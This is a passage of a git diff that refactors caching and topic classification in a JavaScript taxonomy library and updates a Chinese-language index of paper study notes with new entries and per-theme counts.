+    return raw.split('\n').filter(Boolean).map(l => { try { return JSON.parse(l); } catch { return null; } }).filter(Boolean);
   } catch (err) {
     if (err.code === 'ENOENT') return [];
     throw err;
diff --git a/scripts/taxonomy-lib.mjs b/scripts/taxonomy-lib.mjs
index 19fff397f..ae1db5619 100644
--- a/scripts/taxonomy-lib.mjs
+++ b/scripts/taxonomy-lib.mjs
@@ -12,13 +12,14 @@ export const TAXONOMY_PATH = path.join(ROOT, 'data/taxonomy.json');
 let _cached = null;
 
 export async function loadTaxonomy() {
-  if (_cached) return _cached;
+  if (_cached?.themeById) return _cached;
   const raw = await fs.readFile(TAXONOMY_PATH, 'utf8');
-  _cached = JSON.parse(raw);
-  const themeById = new Map(_cached.themes.map((t) => [t.id, t]));
-  const themeByLabel = new Map(_cached.themes.map((t) => [t.label, t]));
-  const themeOrder = new Map(_cached.themes.map((t) => [t.label, t.order]));
-  return { ..._cached, themeById, themeByLabel, themeOrder };
+  const parsed = JSON.parse(raw);
+  const themeById = new Map(parsed.themes.map((t) => [t.id, t]));
+  const themeByLabel = new Map(parsed.themes.map((t) => [t.label, t]));
+  const themeOrder = new Map(parsed.themes.map((t) => [t.label, t.order]));
+  _cached = { ...parsed, themeById, themeByLabel, themeOrder };
+  return _cached;
 }
 
 export function parseFrontmatter(raw) {
@@ -167,6 +168,10 @@ function inferThemeFromSlug(taxonomy, slug, area) {
     [/^(react|vue|svelte|next-|nuxt|vite|webpack|esbuild)/, 'backend-api'],
     [/^(kubernetes|docker|k8s|helm|terraform|prometheus|grafana)/, 'infrastructure'],
     [/^(tcp|quic|tls|http|dns|bbr)/, 'network-protocols'],
+    [
+      /^(hkdf|hmac|aes-|gcm-|rsa|oauth|zk-|snark|regev|dilithium|sgx|trustzone|spectre|meltdown|rowhammer|ckks|pbkdf|argon|noise-protocol|dwork-|abadi-dpsgd|kdf-|key-deriv|log4shell)/,
+      'security-privacy',
+    ],
     [/^(bert|gpt|llama|transformer|attention|clip|diffusion|lstm)/, 'machine-learning'],
     [/^(bitcoin|ethereum|solidity|zk-)/, 'blockchain'],
     [/^(llvm|wasm|v8|compiler|parser)/, 'compilers'],
@@ -178,6 +183,41 @@ function inferThemeFromSlug(taxonomy, slug, area) {
   return null;
 }
 
+/**
+ * Score one note for classification (SDK / pipeline consumer).
+ * Wraps classifySlug with a stable { theme, score, needsReview } shape.
+ *
+ * @param {{ slug: string, area: 'papers'|'projects', fm?: Record<string,string>, candidate?: object|null, title?: string, tags?: string[], snippet?: string }} item
+ * @returns {Promise<{ theme: string, score: number, needsReview: boolean, themeId: string, subcategory: string }>}
+ */
+export async function scoreItem(item) {
+  const taxonomy = await loadTaxonomy();
+  const fm = { ...(item.fm ?? {}) };
+  if (item.title && !fm.title) fm.title = item.title;
+  if (item.tags?.length && !fm.tags) fm.tags = item.tags.join(', ');
+  const snippet = item.snippet ?? '';
+  if (snippet && !fm['分类']) {
+    // Body keywords can reinforce security/crypto notes when slug is ambiguous.
+    if (/hkdf|hmac|key derivation|kdf|密钥派生/i.test(snippet)) {
+      fm['分类'] = fm['分类'] || '安全与隐私';
+    }
+  }
+  const c = classifySlug(taxonomy, {
+    slug: item.slug,
+    area: item.area,
+    fm,
+    candidate: item.candidate ?? null,
+  });
+  const score = c.themeId === 'other' ? 0 : c.confidence === 'high' ? 80 : 45;
+  return {
+    theme: c.theme,
+    themeId: c.themeId,
+    subcategory: c.subcategory,
+    score,
+    needsReview: c.confidence === 'low' || c.themeId === 'other',
+  };
+}
+
 export async function loadCandidates() {
   const p = path.join(ROOT, 'data/candidates.jsonl');
   const map = new Map();
diff --git a/src/content/docs/papers-atlas.md b/src/content/docs/papers-atlas.md
index 1b50c73c3..82e2ba769 100644
--- a/src/content/docs/papers-atlas.md
+++ b/src/content/docs/papers-atlas.md
@@ -1,6 +1,6 @@
 ---
 title: 论文全景索引
-description: 948 篇论文 · 按一级主题与子分类 · 自动从 frontmatter 生成
+description: 1033 篇论文 · 按一级主题与子分类 · 自动从 frontmatter 生成
 sidebar:
   order: 5
   label: 论文全景索引
@@ -11,38 +11,38 @@ sidebar:
 
 ## 总览
 
-- **总数**：948 篇
-- **已分类**：948
+- **总数**：1033 篇
+- **已分类**：1033
 
 ### 按一级主题分布
 
 | 主题 | 数量 |
 |---|---:|
-| [编程语言](#编程语言) | 109 |
-| [分布式系统](#分布式系统) | 75 |
-| [数据库](#数据库) | 67 |
-| [操作系统](#操作系统) | 63 |
-| [机器学习](#机器学习) | 215 |
-| [后端 API](#后端-api) | 9 |
+| [编程语言](#编程语言) | 112 |
+| [分布式系统](#分布式系统) | 78 |
+| [数据库](#数据库) | 80 |
+| [操作系统](#操作系统) | 65 |
+| [机器学习](#机器学习) | 257 |
+| [后端 API](#后端-api) | 10 |
 | [基础设施](#基础设施) | 12 |
 | [网络协议](#网络协议) | 66 |
 | [图形学](#图形学) | 122 |
-| [形式化方法](#形式化方法) | 51 |
+| [形式化方法](#形式化方法) | 54 |
 | [通信](#通信) | 1 |
 | [信息检索](#信息检索) | 52 |
 | [Agent](#agent) | 22 |
-| [CLI](#cli) | 1 |
+| [CLI](#cli) | 5 |
 | [NLP](#nlp) | 9 |
 | [编译器](#编译器) | 3 |
 | [数据可视化](#数据可视化) | 4 |
-| [安全与隐私](#安全与隐私) | 54 |
+| [安全与隐私](#安全与隐私) | 68 |
 | [其他](#其他) | 13 |
 
 ---
 
 ## 编程语言
 
-共 109 篇。
+共 112 篇。
 
 ### 编程语言
 
@@ -82,18 +82,21 @@ sidebar:
 | [Agda — 让你写代码的同时把数学也证明了](/study/papers/agda-norell/) | ✅ v3 |  |
 | [Andersen 指针分析 — 让编译器自己算出 p 可能指向谁](/study/papers/andersen-pointer-analysis/) | ✅ v3 |  |
 | [ASTRÉE 分析器 — 让飞机控制代码的静态分析做到零警告](/study/papers/astree/) | ✅ v3 |  |
+| [Bijou64 — 结构式规范化的变长整数编码](/study/papers/bijou64-varint/) | ✅ v3 |  |
 | [CakeML — 从源码到机器码每一步都被数学证明的 ML 编译器](/study/papers/cakeml/) | ✅ v3 |  |
 | [Calculus of Constructions — 让程序和数学证明共用一种语言](/study/papers/calculus-of-constructions/) | ✅ v3 |  |
 | [Call-by-Need Lambda Calculus — 给惰性求值一套真正的演算](/study/papers/call-by-need-1995/) | ✅ v3 |  |
 | [Chaitin 图染色寄存器分配 — 把硬件资源问题翻译成数学问题](/study/papers/chaitin-graph-coloring/) | ✅ v3 |  |
 | [Coeffects — 让类型系统追踪「需要多少上下文」](/study/papers/coeffect-petricek/) | ✅ v3 |  |
 | [CompCert — 每条优化都被数学证明保持语义的 C 编译器](/study/papers/compcert/) | ✅ v3 |  |
+| [Performance Left on the Table — 编译器自动向量化还剩多少性能没吃到](/study/papers/compiler-perf-left-on-table/) | ✅ v3 |  |
 | [Cousot 抽象解释 — 给静态分析一套统一数学框架](/study/papers/cousot-abstract-interpretation/) | ✅ v3 |  |
 | [CSP — 进程之间只许喊话不许共用内存](/study/papers/csp-hoare-1978/) | ✅ v3 |  |
 | [DDlog (Differential Datalog) — 输入只改一条，引擎只算受影响的那一小块](/study/papers/differential-datalog/) | ✅ v3 |  |
 | [Doligez-Leroy GC — OCaml 多线程并发垃圾回收](/study/papers/doligez-leroy-concurrent-gc/) | ✅ v3 |  |
 | [Earley Parser — 一个表能解析任何 CFG 的通用解析器](/study/papers/earley-parser/) | ✅ v3 |  |
 | [Feautrier 多面体调度 — 把循环并行化变成解几何方程](/study/papers/feautrier-polyhedral/) | ✅ v3 |  |
+| [First-Class Refinement Types for Scala — 把「带条件的类型」写进 Scala 3 本身](/study/papers/first-class-refinement-scala/) | ✅ v3 |  |
 | [Frank — 让 effect handler 写得就像普通函数](/study/papers/frank-effects/) | ✅ v3 |  |
 | [F* — 把依赖类型、SMT 自动化、副作用追踪揉到一门语言里](/study/papers/fstar/) | ✅ v3 |  |
 | [G1 Garbage-First — 给暂停时间设个预算的垃圾回收器](/study/papers/g1-collector/) | ✅ v3 |  |
@@ -175,7 +178,7 @@ sidebar:
 
 ## 分布式系统
 
-共 75 篇。
+共 78 篇。
 
 ### 分布式系统
 
@@ -212,6 +215,7 @@ sidebar:
 | [Drizzle — 让 micro-batch 也能跑出 100ms 延迟](/study/papers/drizzle-2017/) | ✅ v3 |  |
 | [EPaxos — 没有 leader 的 Paxos，让每个副本平起平坐](/study/papers/epaxos-2013/) | ✅ v3 |  |
 | [f4 — Facebook 把 90 天前的旧图片搬到一个省 40% 存储的仓库](/study/papers/f4-2014/) | ✅ v3 |  |
+| [FaRM — 用 RDMA 把集群内存变成一块「共享白板」](/study/papers/farm-2015/) | ✅ v3 |  |
 | [Fast Paxos — 给 Paxos 加一条乐观快车道](/study/papers/fast-paxos-2006/) | ✅ v3 |  |
 | [Fidge 1988 — 给每个进程一份"账本向量"，让因果关系变成可判定](/study/papers/fidge-1988/) | ✅ v3 |  |
 | [Flexible Paxos — 两阶段不一定都要多数派](/study/papers/flexible-paxos-2016/) | ✅ v3 |  |
@@ -233,6 +237,7 @@ sidebar:
 | [Naiad — 一套引擎同时跑批处理、流处理和迭代计算](/study/papers/naiad-2013/) | ✅ v3 |  |
 | [Narwhal & Tusk — 把 BFT 共识拆成『谁说过』和『谁先说』两件事](/study/papers/narwhal-tusk-2022/) | ✅ v3 |  |
 | [NTP 1991 — 用四个时间戳和一组滤波器，让全网服务器的钟差几毫秒](/study/papers/ntp-mills-1991/) | ✅ v3 |  |
+| [On-demand Container Loading — Lambda 如何在 10GiB 镜像下保持冷启动](/study/papers/on-demand-container-loading/) | ✅ v3 |  |
 | [OT — 多人同时改一份文档，操作随上下文自动改坐标](/study/papers/ot-1989/) | ✅ v3 |  |
 | [PBFT — 让拜占庭容错从理论变成能跑的工程](/study/papers/pbft-1999/) | ✅ v3 |  |
 | [Percolator 2010 — 给 Bigtable 加分布式事务的客户端库](/study/papers/percolator-2010/) | ✅ v3 |  |
@@ -241,6 +246,7 @@ sidebar:
 | [Presumed Abort/Commit — 让 2PC 少写日志少发消息的两个默认共识](/study/papers/presumed-abort-1986/) | ✅ v3 |  |
 | [Parameter Server — 多机训练前 AllReduce 时代的工业标准](/study/papers/ps-li-2014/) | ✅ v3 |  |
 | [Quincy — 把"派活给机器"变成一道最小费用流题](/study/papers/quincy-2009/) | ✅ v3 |  |
+| [Ray — 面向新兴 AI 应用的分布式框架](/study/papers/ray-2018/) | ✅ v3 |  |
 | [Sagas — 长事务拆成一串能"反向走回去"的小事务](/study/papers/saga-1987/) | ✅ v3 |  |
 | [Sequential Consistency 1979 — 多处理器内存模型的第一个正确性标准](/study/papers/sequential-consistency-1979/) | ✅ v3 |  |
 | [Sinfonia 2007 — 把分布式协议降级成数据结构操作](/study/papers/sinfonia-2007/) | ✅ v3 |  |
@@ -269,7 +275,7 @@ sidebar:
 
 ## 数据库
 
-共 67 篇。
+共 80 篇。
 
 ### 存储与查询
 
@@ -283,6 +289,7 @@ sidebar:
 | [Bernstein 1981 并发控制综述 — 把分布式数据库的 20+ 算法整成两条主线](/study/papers/bernstein-1981-cc/) | ✅ v3 |  |
 | [Bigtable 2006 — Google 把行级随机读写做到 PB 级的存储系统](/study/papers/bigtable-2006/) | 🗄 存量 |  |
 | [Brewer CAP — 网络一断电，一致性和可用性只能留一个](/study/papers/brewer-cap-2000/) | ✅ v3 |  |
+| [Bw-Tree — 面向新硬件的无锁 B 树索引](/study/papers/bw-tree/) | ✅ v3 |  |
 | [Calvin 2012 — 先排好顺序再执行，让跨分区事务不再走 2PC](/study/papers/calvin-2012/) | ✅ v3 |  |
 | [Cascades 1995 — 用规则 + Memo 拼装一个可扩展查询优化器](/study/papers/cascades-1995/) | ✅ v3 |  |
 | [Cassandra 2010 — 把 Dynamo 的 P2P 骨架和 Bigtable 的列族数据模型拼成一个东西](/study/papers/cassandra-2010/) | ✅ v3 |  |
@@ -291,31 +298,39 @@ sidebar:
 | [CockroachDB 2020 — 没原子钟也能做全球强一致 SQL 数据库](/study/papers/cockroachdb-2020/) | ✅ v3 |  |
 | [Codd 1970 — 关系模型奠基](/study/papers/codd-1970/) | ✅ v3 |  |
 | [Codd 1979 — 给关系模型补上"语义"](/study/papers/codd-1979-extending/) | ✅ v3 |  |
+| [列式存储格式实证评估 — Parquet 与 ORC 谁更适合 2020 年代？](/study/papers/columnar-storage-formats-2023/) | ✅ v3 |  |
 | [Comer 1979 — B-Tree 综述：为什么这棵树到处都有](/study/papers/comer-1979-btree/) | ✅ v3 |  |
 | [C-Store — 把数据按列存，分析查询直接快十倍](/study/papers/cstore-2005/) | ✅ v3 |  |
 | [Dataflow Model — 流处理的四问框架](/study/papers/dataflow-model-2015/) | ✅ v3 |  |
 | [DeWitt-Gray 1992 — 并行数据库取代专用机的宣言](/study/papers/dewitt-gray-1992/) | ✅ v3 |  |
 | [DiskANN — 单机十亿向量近邻检索（图存 SSD）](/study/papers/diskann-2019/) | ✅ v3 |  |
+| [Dremel 十年回顾 — Web 规模交互式 SQL 分析如何演化为 BigQuery](/study/papers/dremel-decade-2020/) | ✅ v3 |  |
 | [D-Streams — 把流处理伪装成一串很小的批](/study/papers/dstreams-2013/) | ✅ v3 |  |
 | [DuckDB — 把 OLAP 数据库塞进你的 Python 进程](/study/papers/duckdb-2019/) | ✅ v3 |  |
+| [Efficiently Compiling Efficient Query Plans for Modern Hardware — 面向现代 CPU 的查询编译](/study/papers/efficient-compile-2011/) | ✅ v3 |  |
 | [Eswaran 1976 — 串行化与谓词锁的源头](/study/papers/eswaran-1976/) | ✅ v3 |  |
 | [F1 2013 — 把 Spanner 包成 SQL，扛起 AdWords 全部账单](/study/papers/f1-2013/) | ✅ v3 |  |
 | [FAISS 2017 — 用 GPU 在十亿向量里找最近邻](/study/papers/faiss-2017/) | ✅ v3 |  |
+| [FastLanes 压缩布局 — 用标量代码每秒解码超过 1000 亿整数](/study/papers/fastlanes-compression/) | ✅ v3 |  |
 | [Apache Flink — 流批一体的单引擎](/study/papers/flink-2015/) | ✅ v3 |  |
 | [FoundationDB 2021 — 把数据库拆成五个角色，再用一个 seed 烧十年 bug](/study/papers/foundationdb-2021/) | ✅ v3 |  |
 | [Gray 1981 — 把"事务"提升为通用抽象](/study/papers/gray-1981-transaction/) | ✅ v3 |  |
 | [Haystack — Facebook 十亿张照片怎么存](/study/papers/haystack-2010/) | ✅ v3 |  |
 | [HDFS — 把 GFS 用 Java 重写一遍并撑到 25 PB](/study/papers/hdfs-2010/) | ✅ v3 |  |
+| [Hekaton — SQL Server 内存优化 OLTP 引擎](/study/papers/hekaton/) | ✅ v3 |  |
 | [HNSW — 多层近邻图让向量检索从 O(N) 降到近似 O(log N)](/study/papers/hnsw-2018/) | ✅ v3 |  |
 | [INGRES 1976 — Berkeley 平行实现的关系数据库](/study/papers/ingres-1976/) | ✅ v3 |  |
 | [Kafka NetDB 2011 — 把消息中间件砍成"会写文件的水管"](/study/papers/kafka-2011/) | ✅ v3 |  |
+| [Lakehouse — 用开放格式统一数据仓库与高级分析](/study/papers/lakehouse-2021/) | ✅ v3 |  |
 | [Leis 2015 — 用真实数据打脸所有数据库的查询优化器](/study/papers/leis-2015-optimizers/) | ✅ v3 |  |
 | [LMDB 2011 — 把数据库直接 mmap 进内存的嵌入式 KV 存储](/study/papers/lmdb-2011/) | ✅ v3 |  |
 | [LSM-Tree 1996 — 写优化存储引擎](/study/papers/lsm-tree-1996/) | ✅ v3 |  |
 | [MillWheel 2013 — Google 给互联网级流处理装上不漏不重的发动机](/study/papers/millwheel-2013/) | ✅ v3 |  |
 | [Milvus — 为向量检索而生的数据库](/study/papers/milvus-2021/) | ✅ v3 |  |
 | [MonetDB/X100 — 让数据库一次处理一向量行而不是一行](/study/papers/monetdb-x100-2005/) | ✅ v3 |  |
+| [Morsel-Driven Parallelism — 面向 NUMA 的查询并行执行框架](/study/papers/morsel-driven-2014/) | ✅ v3 |  |
 | [Adaptive Optimization of Very Large Join Queries — 100 张表也敢精确求解](/study/papers/neumann-2015-large-joins/) | ✅ v3 |  |
+| [OLTP Through the Looking Glass — 传统数据库的 20 倍开销从哪来](/study/papers/oltp-looking-glass/) | ✅ v3 |  |
 | [Paxos 1998 — 古希腊议会寓言里藏的共识协议](/study/papers/paxos-1998/) | 🗄 存量 |  |
 | [Paxos Made Simple — Lamport 用平直英语把共识协议推导一遍](/study/papers/paxos-simple-2001/) | ✅ v3 |  |
 | [Product Quantization — 把向量切碎再压成几个字节](/study/papers/product-quantization-2011/) | ✅ v3 |  |
@@ -328,13 +343,17 @@ sidebar:
 | [Snowflake 2016 — 把数仓拆成 storage / compute / services 三层](/study/papers/snowflake-2016/) | ✅ v3 |  |
 | [Spanner 2012 — 用原子钟和 GPS 给全球数据库发时间戳](/study/papers/spanner-2012/) | ✅ v3 |  |
 | [SQLite — 嵌入式数据库 30 年怎么活下来的](/study/papers/sqlite-2022/) | ✅ v3 |  |
+| [SQLite is All You Need for Durable Workflows — 用单文件数据库做持久化工作流](/study/papers/sqlite-durable-workflows/) | ✅ v3 |  |
 | [Stonebraker 2010 SQL vs NoSQL — 慢的是老实现，不是 SQL](/study/papers/stonebraker-2010-sqlnosql/) | ✅ v3 |  |
 | [System R 1976 — 第一个跑起来的关系数据库](/study/papers/system-r-1976/) | ✅ v3 |  |
 | [Tachyon — 把集群存储推到内存速度，丢了再算回来](/study/papers/tachyon-2014/) | ✅ v3 |  |
 | [TiDB 2020 — 给 Raft 加一个"旁听生"，让一份数据同时跑事务和分析](/study/papers/tidb-2020/) | ✅ v3 |  |
 | [Trill — 一个引擎同时跑流、批、交互三种分析](/study/papers/trill-2014/) | ✅ v3 |  |
+| [Velox — Meta 的统一执行引擎](/study/papers/velox-meta-2022/) | ✅ v3 |  |
 | [Vertica 2012 — C-Store 论文走向产品的七年改造账](/study/papers/vertica-2012/) | ✅ v3 |  |
 | [Volcano 1994 — 把 SQL 执行写成 next() 拉式数据流](/study/papers/volcano-1994/) | ✅ v3 |  |
+| [Adopting Worst-Case Optimal Joins in Relational Database Systems — 把 WCO Join 搬进通用 RDBMS](/study/papers/wco-joins-relational-2020/) | ✅ v3 |  |
+| [WiscKey — 把 Key 和 Value 拆开，让 SSD 上的 LSM 树少干冤枉活](/study/papers/wisckey/) | ✅ v3 |  |
 | [Zab — ZooKeeper 怎么把客户端写入按顺序复制到所有副本](/study/papers/zab-2011/) | ✅ v3 |  |
 
 ### 数据库
@@ -355,7 +374,7 @@ sidebar:
 
 ## 操作系统
 
-共 63 篇。
+共 65 篇。
 
 ### 内核与虚拟化
 
@@ -395,6 +414,7 @@ sidebar:
 | [LOCUS 1980 — 让一群机器看起来像同一台机器](/study/papers/locus-1980/) | ✅ v3 |  |
 | [彩票调度 — 用抽奖代替优先级的资源分配](/study/papers/lottery-1994/) | ✅ v3 |  |
 | [Mach — 把内核拆成消息互通的小服务](/study/papers/mach-1986/) | ✅ v3 |  |
+| [Mach 1986 — 给 UNIX 换一块能跨机器生长的内核地基](/study/papers/mach-rashid-1986/) | ✅ v3 |  |
 | [Mach VM — 把虚拟内存抽象成"对象"，与硬件解耦](/study/papers/mach-vm-1987/) | ✅ v3 |  |
 | [MCS 锁 — 让每个线程自旋在自己的缓存行上](/study/papers/mcs-locks-1991/) | ✅ v3 |  |
 | [Mesos 2011 — 把数据中心切成资源 offer 发给框架自己挑](/study/papers/mesos-2011/) | ✅ v3 |  |
@@ -429,10 +449,11 @@ sidebar:
 | [Boehm-Weiser 保守式垃圾回收 — 不改编译器也能给 C 加 GC](/study/papers/boehm-gc/) | ✅ v3 |  |
 | [eBPF — 用户写小程序，内核证明安全后再跑](/study/papers/ebpf/) | ✅ v3 |  |
 | [io_uring — Linux 让 N 次 IO 摊销到 1 次 syscall](/study/papers/io-uring/) | ✅ v3 |  |
+| [You probably don't need Yocto, and that's fine — 嵌入式 Linux 不必默认上 Yocto](/study/papers/yocto-alternatives/) | ✅ v3 |  |
 
 ## 机器学习
 
-共 215 篇。
+共 257 篇。
 
 ### 多模态 LLM
 
@@ -465,19 +486,24 @@ sidebar:
 | [BIG-bench — 204 道题给大模型出考卷](/study/papers/bigbench-2022/) | ✅ v3 |  |
 | [BigGAN — 把 GAN 暴力放大到 ImageNet 512×512](/study/papers/biggan-2018/) | ✅ v3 |  |
 | [BLIP-2 — 用 188M 小桥接器把冻结的视觉模型和大语言模型拼起来](/study/papers/blip2-2023/) | ✅ v3 |  |
+| [Cross-Component Interference in LLM Agent Scaffolding（LLM Agent 脚手架的跨组件干扰）](/study/papers/cci-agent-scaffolding/) | ✅ v3 |  |
+| [CCOPD — 多轮语言模型的规范上下文在线策略蒸馏](/study/papers/ccopd-distillation/) | ✅ v3 |  |
 | [Chatbot Arena — 让真人盲投，给 LLM 排出公允座次](/study/papers/chatbot-arena-2024/) | ✅ v3 |  |
 | [Chronos — 把时间序列当语言来训练大模型](/study/papers/chronos-2024/) | ✅ v3 |  |
 | [Classifier-Free Guidance — 让扩散模型自己听懂条件](/study/papers/classifier-free-guidance-2022/) | ✅ v3 |  |
 | [CoCa — 把对比和生成两种多模态训练目标合到一个模型里](/study/papers/coca-2022/) | ✅ v3 |  |
 | [Code Llama — 开源代码模型的完整训练配方](/study/papers/codellama-2023/) | ✅ v3 |  |
 | [Codex — 让 GPT 学会写 Python，并造一把尺子量它](/study/papers/codex-2021/) | ✅ v3 |  |
+| [Locally Coherent, Globally Incoherent — 多组件 LLM Agent 的组合不一致性](/study/papers/compositional-incoherence/) | ✅ v3 |  |
 | [Consistency Models — 把 50 步扩散压成 1 步出图](/study/papers/consistency-models-2023/) | ✅ v3 |  |
+| [When Context Hurts — 知识迁移在多智能体设计中的交叉效应](/study/papers/crossover-context-multi-agent/) | ✅ v3 |  |
 | [DDIM — 把扩散模型 1000 步采样压到 50 步](/study/papers/ddim-2020/) | ✅ v3 |  |
 | [AI safety via debate — 让两个 AI 互辩，人类只当评委](/study/papers/debate-2018/) | ✅ v3 |  |
 | [DeBERTa — 把"内容"和"位置"拆成两路独立看的 BERT](/study/papers/deberta-2021/) | ✅ v3 |  |
 | [Decision Transformer — 把强化学习当成"文字接龙"](/study/papers/decision-transformer-2021/) | ✅ v3 |  |
 | [DeepSeek-Coder — 按整个仓库喂代码的开源 SOTA](/study/papers/deepseek-coder-2024/) | ✅ v3 |  |
 | [DeepSeek R1 — 强化学习推理模型](/study/papers/deepseek-r1/) | ✅ v3 |  |
+| [Demystifying Data Organization for Enhanced LLM Training — 用「排课表」而不是「删题目」提升大模型训练](/study/papers/demystifying-data-org/) | ✅ v3 |  |
 | [Double Descent — 模型越大越准，过参数化时代的反常识曲线](/study/papers/double-descent-2019/) | ✅ v3 |  |
 | [DreamFusion — 用 2D 扩散模型当老师，把 NeRF 教成 3D](/study/papers/dreamfusion-2022/) | ✅ v3 |  |
 | [Dropout — 训练时随机关掉一半神经元，反而学得更好](/study/papers/dropout-2014/) | ✅ v3 |  |
@@ -496,32 +522,48 @@ sidebar:
 | [GraphSAGE 2017 — 给没见过的节点也能算嵌入](/study/papers/graphsage-2017/) | ✅ v3 |  |
 | [Grokking — 训练 loss 早归零，几千步后才突然学会](/study/papers/grokking-2022/) | ✅ v3 |  |
 | [GRU 2014 — 用两个门替代 LSTM 三个门，编码-解码范式登场](/study/papers/gru-2014/) | ✅ v3 |  |
+| [HexAGenT — 面向 Agentic LLM 的工作流与异构感知调度](/study/papers/hexagent-agentic-scheduling/) | ✅ v3 |  |
+| [HullFT — 用凸包重建与梯度缓存做高效测试时微调](/study/papers/hullft-ttft/) | ✅ v3 |  |
 | [Imagen — 文生图真正的引擎是语言模型](/study/papers/imagen-2022/) | ✅ v3 |  |
 | [Instant-NGP — 秒级训练 NeRF 的多分辨率哈希编码](/study/papers/instant-ngp-2022/) | ✅ v3 |  |
 | [InternVL — 6B 视觉基座 + QLLaMA 对齐开源多模态](/study/papers/internvl-2023/) | ✅ v3 |  |
+| [KV-Fold — 一步 KV 缓存递推实现长上下文推理](/study/papers/kv-fold/) | ✅ v3 |  |
 | [Label Smoothing — 别让模型对正确答案过度自信](/study/papers/label-smoothing-2016/) | ✅ v3 |  |
 | [Layer Normalization — 把归一化方向从 batch 转到 feature，让 RNN/Transformer 也能稳定训](/study/papers/layernorm-2016/) | ✅ v3 |  |
+| [LFM2.5-8B-A1B — 38T 预训练的边缘 MoE 个人助手](/study/papers/lfm2-5-8b-a1b-moe/) | ✅ v3 |  |
 | [Lion — 让程序自己搜出来的优化器，比 AdamW 内存少一半](/study/papers/lion-2023/) | ✅ v3 |  |
+| [LLM Serving Needs Mathematical Optimization, Not Just Heuristics — 零基础学习笔记](/study/papers/llm-serving-needs-math/) | ✅ v3 |  |
+| [LLMSurgeon — 从生成文本反推大模型预训练数据配比](/study/papers/llmsurgeon-data-mixture/) | ✅ v3 |  |
 | [Longformer — 滑窗加少数全局 token，把长文档喂进 Transformer](/study/papers/longformer-2020/) | ✅ v3 |  |
+| [Loong — 类人长文档翻译 Agent 与自适应上下文选择](/study/papers/loong-doc-mt/) | ✅ v3 |  |
 | [彩票假设 — 大网里藏着一张能独立训出来的小网](/study/papers/lottery-ticket-2019/) | ✅ v3 |  |
 | [LSTM — 用门控让神经网络记得住上一段话](/study/papers/lstm-1997/) | ✅ v3 |  |
 | [Magic3D — 把 DreamFusion 的 NeRF 拆成"先粗后精"两阶段](/study/papers/magic3d-2023/) | ✅ v3 |  |
 | [MAML — 学一个"好起点"，几步就能学会新任务](/study/papers/maml-2017/) | ✅ v3 |  |
+| [How LoRA Remembers? — 参数记忆定律与 MemFT 零基础学习笔记](/study/papers/mem-ft-lora/) | ✅ v3 |  |
+| [When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents?](/study/papers/memory-tool-use-agents/) | ✅ v3 |  |
 | [Mesa-Optimization 2019 — 训出来的模型自己也是个优化器](/study/papers/mesa-optimization-2019/) | ✅ v3 |  |
 | [MiniCPM-V — 手机能跑的 GPT-4V 级多模态模型](/study/papers/minicpm-v-2024/) | ✅ v3 |  |
+| [MIRA — 中期训练中的来源感知 Rubric 锚定数据筛选](/study/papers/mira-rubric/) | ✅ v3 |  |
 | [mixup — 把两张图按比例叠成一张，标签也一起叠](/study/papers/mixup-2018/) | ✅ v3 |  |
 | [MMLU — 用 57 个学科的多选题考一考语言模型](/study/papers/mmlu-2021/) | ✅ v3 |  |
 | [Mode Connectivity — 神经网络的两个最优解之间有低洼走廊](/study/papers/mode-connectivity-2018/) | ✅ v3 |  |
 | [mPLUG-Owl — 模块化拼装多模态大模型](/study/papers/mplug-owl-2023/) | ✅ v3 |  |
 | [N-BEATS — 纯前馈网络在时序预测上打败统计派](/study/papers/nbeats-2020/) | ✅ v3 |  |
+| [NestedKV — 嵌套内存路由实现长上下文 KV Cache 压缩](/study/papers/nestedkv/) | ✅ v3 |  |
 | [NTK — 把无限宽的神经网络变成一个可解的核方法](/study/papers/ntk-2018/) | ✅ v3 |  |
 | [NVILA — 先放大分辨率再压缩 token 的高效 VLM](/study/papers/nvila-2024/) | ✅ v3 |  |
 | [Orca — 让一批 LLM 请求随到随走，不再排队等最长那个](/study/papers/orca-continuous-batching/) | ✅ v3 |  |
+| [OSCAR — 面向 2-bit KV Cache 的离线谱协方差感知旋转](/study/papers/oscar-int2-kv/) | ✅ v3 |  |
 | [Parti — 把文生图当作翻译，用自回归 Transformer 一像素接一像素地写](/study/papers/parti-2022/) | ✅ v3 |  |
 | [Performer — 用随机特征把 softmax attention 拉成线性复杂度](/study/papers/performer-2020/) | ✅ v3 |  |
+| [ProjectionBench — 渐进披露下，LLM 能「猜对」科学结论吗？](/study/papers/projection-bench/) | ✅ v3 |  |
 | [Prototypical Networks — 每类算个均值，比距离就够了](/study/papers/prototypical-networks-2017/) | ✅ v3 |  |
+| [Qwen-VLA — 跨任务、环境与具身的统一视觉-语言-动作建模](/study/papers/qwen-vla/) | ✅ v3 |  |
 | [Reformer — 用哈希分桶把 attention 从 O(L²) 压到 O(L log L)](/study/papers/reformer-2020/) | ✅ v3 |  |
 | [REPLUG — 不动 LLM 一根毛，只把检索器调到它的"口味"上](/study/papers/replug-2023/) | ✅ v3 |  |
+| [Resolution Diagnostics for Paired LLM Evaluation — 排行榜上的 0.8 分差距能信吗？](/study/papers/resolution-diagnostics-llm/) | ✅ v3 |  |
+| [Reasoning in Memory — 解锁 LLM 的工作记忆做隐式推理](/study/papers/rim-latent-reasoning/) | ✅ v3 |  |
 | [RoBERTa — 把 BERT 重训一遍就能拿 SOTA](/study/papers/roberta-2019/) | ✅ v3 |  |
 | [RWKV — 让 RNN 拿到 Transformer 那张训练并行的入场券](/study/papers/rwkv-2023/) | ✅ v3 |  |
 | [Soft Actor-Critic — 让强化学习既会拿分又愿意多试](/study/papers/sac-2018/) | ✅ v3 |  |
@@ -530,7 +572,9 @@ sidebar:
 | [Self-Refine — 让同一个模型自己改自己写的东西](/study/papers/self-refine-2023/) | ✅ v3 |  |
 | [Seq2Seq — 把翻译变成端到端神经网络](/study/papers/seq2seq-2014/) | ✅ v3 |  |
 | [Sophia — 让二阶优化器第一次在 LLM 预训练里跑得动](/study/papers/sophia-2023/) | ✅ v3 |  |
+| [SoundnessBench — AI 科学家能分清好想法与烂想法吗？](/study/papers/soundness-bench/) | ✅ v3 |  |
 | [StarCoder — 把训练数据完整公开的 15B 代码模型](/study/papers/starcoder-2023/) | ✅ v3 |  |
+| [STORM — 面向多智能体协作的状态导向管理](/study/papers/storm-multi-agent-state/) | ✅ v3 |  |
 | [StyleGAN2 — 把 StyleGAN 的水滴瑕疵和潜空间纠葛一起修掉](/study/papers/stylegan2-2020/) | ✅ v3 |  |
